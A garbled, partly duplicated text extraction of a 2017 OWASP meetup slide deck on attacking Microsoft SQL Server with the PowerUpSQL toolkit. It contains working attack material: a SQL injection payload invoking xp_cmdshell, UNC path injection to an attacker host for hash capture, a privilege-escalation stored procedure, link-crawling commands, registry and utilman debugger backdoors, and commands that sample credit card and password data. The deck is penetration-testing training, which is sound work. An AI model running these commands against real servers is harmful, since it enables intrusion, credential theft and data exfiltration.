Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 14: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

SQL Server Basics Common RolesImportant SQL Server Roles

Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group

but in SQL Server

Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but

in SQL Server

Finding SQL Servers

Find SQL Servers TechniquesAttacker Perspective Attack Technique

Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

